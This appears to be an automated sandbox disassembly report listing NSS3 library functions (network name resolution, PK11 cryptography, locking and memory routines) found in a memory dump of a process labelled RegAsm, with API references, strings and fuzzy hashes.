String ID: security
API String ID: 3512696800-3315324353
Opcode ID: c820b48de4dc34f71a38839e8145f9d6a4f244efac8eb034927d77f9a52540a9
Instruction ID: 1e617537db1e7ea357f7f995553fdab1e191ed72fa99875bfd41f3066011f04b
Opcode Fuzzy Hash: c820b48de4dc34f71a38839e8145f9d6a4f244efac8eb034927d77f9a52540a9
Instruction Fuzzy Hash: 745138B6909308ABE7209E14DC41FAB73E8AF8575DF44082EFD5597B80E739D9088763

Function 6C2ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C2ECC7B), ref: 6C2ECD7A

Part of subcall function 6C2ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C25C1A8,?), ref: 6C2ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C2ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C2ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C2ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C2ECD8E

Part of subcall function 6C2105C0: PR_EnterMonitor.NSS3 ref: 6C2105D1
Part of subcall function 6C2105C0: PR_ExitMonitor.NSS3 ref: 6C2105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C2ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C2ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C2ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C2ECE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C2ECE48

Strings

freeaddrinfo, xrefs: 6C2ECD9F, 6C2ECE10
ws2_32.dll, xrefs: 6C2ECD75
wship6.dll, xrefs: 6C2ECDE3
getaddrinfo, xrefs: 6C2ECD88, 6C2ECDF9
getnameinfo, xrefs: 6C2ECDB2, 6C2ECE23

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: c7ffaefe713d52eadb86b032b750965c955356306a5fd95ee580e318852210ba
Instruction ID: 133240ff273f66dd10f3c728b8610a94de57b2cb4706dd1ef91fff9499fe788a
Opcode Fuzzy Hash: c7ffaefe713d52eadb86b032b750965c955356306a5fd95ee580e318852210ba
Instruction Fuzzy Hash: 731129B5E0311E66DB106EB16C00EAA3D9C6B0750DFE80534FC15E5F01FB35C5288AE2

Function 6C290C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,)l), ref: 6C290C81

Part of subcall function 6C27BE30: SECOID_FindOID_Util.NSS3(6C23311B,00000000,?,6C23311B,?), ref: 6C27BE44

Part of subcall function 6C268500: SECOID_GetAlgorithmTag_Util.NSS3(6C2695DC,00000000,00000000,00000000,?,6C2695DC,00000000,00000000,?,6C247F4A,00000000,?,00000000,00000000), ref: 6C268517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C290CC4

Part of subcall function 6C27FAB0: free.MOZGLUE(?,-00000001,?,?,6C21F673,00000000,00000000), ref: 6C27FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C290CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C290D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C290D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C290D7D
free.MOZGLUE(00000000), ref: 6C290DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C290DC1
free.MOZGLUE(00000000), ref: 6C290DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C290E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C290E0F

Part of subcall function 6C2695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C247F4A,00000000,?,00000000,00000000), ref: 6C2695E0
Part of subcall function 6C2695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C247F4A,00000000,?,00000000,00000000), ref: 6C2695F5
Part of subcall function 6C2695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C269609
Part of subcall function 6C2695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C26961D
Part of subcall function 6C2695C0: PK11_GetInternalSlot.NSS3 ref: 6C26970B
Part of subcall function 6C2695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C269756
Part of subcall function 6C2695C0: PK11_GetIVLength.NSS3(?), ref: 6C269767
Part of subcall function 6C2695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C26977E
Part of subcall function 6C2695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C26978E

Strings

-$)l, xrefs: 6C290C64
*,)l, xrefs: 6C290DCC
*,)l, xrefs: 6C290C69, 6C290DE0, 6C290C80, 6C290C8B, 6C290CAF

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,)l$*,)l$-$)l
API String ID: 3136566230-3150315903
Opcode ID: 6631539402bb5d20776eac50d7a6b31dfb3307ac32002f86abf799164d955c64
Instruction ID: a416c19a17bc5a2e40ffe6076fe8ce35639e059c561bbbe4d68aac540c50e63e
Opcode Fuzzy Hash: 6631539402bb5d20776eac50d7a6b31dfb3307ac32002f86abf799164d955c64
Instruction Fuzzy Hash: D541E3B590124EABEB009F66DC81BAF7678EF08309F104028ED1557751E735EA58CBF2

Function 6C286CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C351DE0,?), ref: 6C286CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C286D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C286D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C286D82
DER_GetInteger_Util.NSS3(?), ref: 6C286DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C286DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C286E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C286F19
PK11_DigestBegin.NSS3(00000000), ref: 6C286F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C286F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C287011
PK11_FreeSymKey.NSS3(00000000), ref: 6C287033
free.MOZGLUE(?), ref: 6C28703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C287060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C287087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C2870AF

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 1c090fdcf86e0443ecf2e2fe38989441261d4198152418607d3b69ae9e8833f1
Instruction ID: ccf8d4df0a32f099c85b74a8e6e6c44b34f9c90ece05e8c5e1d2f2677977a6b4
Opcode Fuzzy Hash: 1c090fdcf86e0443ecf2e2fe38989441261d4198152418607d3b69ae9e8833f1
Instruction Fuzzy Hash: 9DA1067192620A9BEB008B24CCC5FAA7294DB9170DF248939FD19CBAC1E735D85DC763

Function 6C24AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24AF39
PR_Unlock.NSS3(?,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24AF69
TlsGetValue.KERNEL32 ref: 6C24B06B
EnterCriticalSection.KERNEL32(?), ref: 6C24B083
PR_Unlock.NSS3(?), ref: 6C24B0A4
TlsGetValue.KERNEL32 ref: 6C24B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C24B0D9
PR_Unlock.NSS3 ref: 6C24B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C24B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C24B182

Part of subcall function 6C27FAB0: free.MOZGLUE(?,-00000001,?,?,6C21F673,00000000,00000000), ref: 6C27FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C24B177

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C22AB95,00000000,?,00000000,00000000,00000000), ref: 6C24B1C2

Part of subcall function 6C271560: TlsGetValue.KERNEL32(00000000,?,6C240844,?), ref: 6C27157A
Part of subcall function 6C271560: EnterCriticalSection.KERNEL32(?,?,?,6C240844,?), ref: 6C27158F
Part of subcall function 6C271560: PR_Unlock.NSS3(?,?,?,?,6C240844,?), ref: 6C2715B2

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: af08507dfa8c993252defe4cc87b75ecff023423ed9b121fcbc0b08a2d2e8a27
Instruction ID: 26c697b25567709c7715981ddd6d66d15f2b8a1338c95c45e7544d4cbee1ac85
Opcode Fuzzy Hash: af08507dfa8c993252defe4cc87b75ecff023423ed9b121fcbc0b08a2d2e8a27
Instruction Fuzzy Hash: D8A1D2B1D0020ADBEF019F68DC41BEEB7B4AF09309F148125ED09A7751E731E959CBA1

Function 6C242C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?$l,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23,?), ref: 6C242C62
EnterCriticalSection.KERNEL32(0000001C,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23,?), ref: 6C242C76
PL_HashTableLookup.NSS3(00000000,?,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23,?), ref: 6C242C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23,?), ref: 6C242C93

Part of subcall function 6C2CDD70: TlsGetValue.KERNEL32 ref: 6C2CDD8C
Part of subcall function 6C2CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C2CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23,?), ref: 6C242CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23,?), ref: 6C242CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C23E477,?,?,?,00000001,00000000,?,?,6C243F23), ref: 6C242CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C23E477,?,?,?,00000001,00000000,?), ref: 6C242CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C23E477,?,?,?,00000001,00000000,?), ref: 6C242D4D
EnterCriticalSection.KERNEL32(?), ref: 6C242D61
PL_HashTableLookup.NSS3(?,?), ref: 6C242D71
PR_Unlock.NSS3(?), ref: 6C242D7E

Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107AD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107CD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107D6
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1A204A), ref: 6C2107E4
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,6C1A204A), ref: 6C210864
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C210880
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,6C1A204A), ref: 6C2108CB
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108D7
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108FB

Strings

#?$l, xrefs: 6C242C43

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?$l
API String ID: 2446853827-152613300
Opcode ID: 2744cc9712c4c0da012636f33f9c46066e85486238e2afe365ef13aa94117cbf
Instruction ID: 4a54e6ed96db5b751fad6e9a4ce83df1e0995a50a9b026d80fd98ff8072eb4cb
Opcode Fuzzy Hash: 2744cc9712c4c0da012636f33f9c46066e85486238e2afe365ef13aa94117cbf
Instruction Fuzzy Hash: F25106F6D00219ABDB01AF25EC449AAB7B8FF09358B058520ED18D7B11EB31E964C7E1

Function 6C29AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C29ADB1

Part of subcall function 6C27BE30: SECOID_FindOID_Util.NSS3(6C23311B,00000000,?,6C23311B,?), ref: 6C27BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C29ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C29AE08

Part of subcall function 6C27B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3518D0,?), ref: 6C27B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C29AE25
PL_FreeArenaPool.NSS3 ref: 6C29AE63
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C29AE4D

Part of subcall function 6C1A4C70: TlsGetValue.KERNEL32(?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4C97
Part of subcall function 6C1A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4CB0
Part of subcall function 6C1A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C29AE93
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C29AECC
PL_FreeArenaPool.NSS3 ref: 6C29AEDE
PL_FinishArenaPool.NSS3 ref: 6C29AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C29AEF5
PL_FinishArenaPool.NSS3 ref: 6C29AF16

Strings

security, xrefs: 6C29ADEE

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 00aad2daceb34e4674863f1fbbb6e339635333a0d42c23e3568837f110aec849
Instruction ID: 3239aa5924e7cb138777d6d93828ed733f31993d8da625fef937e373fb5300d7
Opcode Fuzzy Hash: 00aad2daceb34e4674863f1fbbb6e339635333a0d42c23e3568837f110aec849
Instruction Fuzzy Hash: 20413AB5C0531DE7E7214A169C85BBA32A8AF4271DF200535FC5592F81FB399608C6E3

Function 6C33AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2E9890: TlsGetValue.KERNEL32(?,?,?,6C2E97EB), ref: 6C2E989E

EnterCriticalSection.KERNEL32(?), ref: 6C33AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C33AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C33AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C33AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C33B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C33B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C33B070
PR_JoinThread.NSS3(?), ref: 6C33B07B
free.MOZGLUE(?), ref: 6C33B084
EnterCriticalSection.KERNEL32(?), ref: 6C33B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C33B0C4
PR_JoinThread.NSS3(?), ref: 6C33B0F3
free.MOZGLUE(?), ref: 6C33B0FC
PR_JoinThread.NSS3(?), ref: 6C33B137
free.MOZGLUE(?), ref: 6C33B140

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 0c4b30ff3f3b02106ca73cb9cb0fd6432703a6b8beab517bede020bdfd224569
Instruction ID: 272e376f99370d89656767e90cfe3d0608b440182e43c3afe40e7d53bf5afa26
Opcode Fuzzy Hash: 0c4b30ff3f3b02106ca73cb9cb0fd6432703a6b8beab517bede020bdfd224569
Instruction Fuzzy Hash: A49147B5900A15DFCB00DF15D88088ABBF1BF4931C72985A9D81D5BB22E732EC56CF91

Function 6C238DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C238E22
EnterCriticalSection.KERNEL32(?), ref: 6C238E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C238E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C238E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C238E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C238EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C238EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C238EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C238F00
free.MOZGLUE(?), ref: 6C238F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C238F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C238F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C238F5B
PR_Unlock.NSS3(?), ref: 6C238F72
PR_Unlock.NSS3(?), ref: 6C238F82

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 638565f7e97261517828232dd4ef3bcbbbd217e2c39f1602ff42fe9358db6563
Instruction ID: 61cda9f58f2e824f9b7de71d9393464d3f3882948702c53585b168d165a891ac
Opcode Fuzzy Hash: 638565f7e97261517828232dd4ef3bcbbbd217e2c39f1602ff42fe9358db6563
Instruction Fuzzy Hash: DF51F6B2D002299FE7119E68CC849AAB7B9EF45354B15412AFC1CDF740E731ED458BE1

Function 6C25CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C25CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C25CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C25CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C25CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C25CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C25CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C25CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C25CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C25CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C25CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C25CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C25CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C25CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C25D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C25D021

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: c55e85c532b8aa9d38bab4d98aa1d1bf79ce44b49e21d000844493413d68c279
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 4F3198B172691927EF2D11565D61BDF104A8B6530FF440038FD0AE57C0FA95A76702F5

Function 6C330FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C331000

Part of subcall function 6C2E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C211A48), ref: 6C2E9BB3
Part of subcall function 6C2E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C211A48), ref: 6C2E9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C331016

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PR_Unlock.NSS3(?), ref: 6C331021

Part of subcall function 6C2CDD70: TlsGetValue.KERNEL32 ref: 6C2CDD8C
Part of subcall function 6C2CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C2CDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C331046
PR_Unlock.NSS3(?), ref: 6C33106B
PR_Lock.NSS3 ref: 6C331079
PR_Unlock.NSS3 ref: 6C331096
free.MOZGLUE(?), ref: 6C3310A7
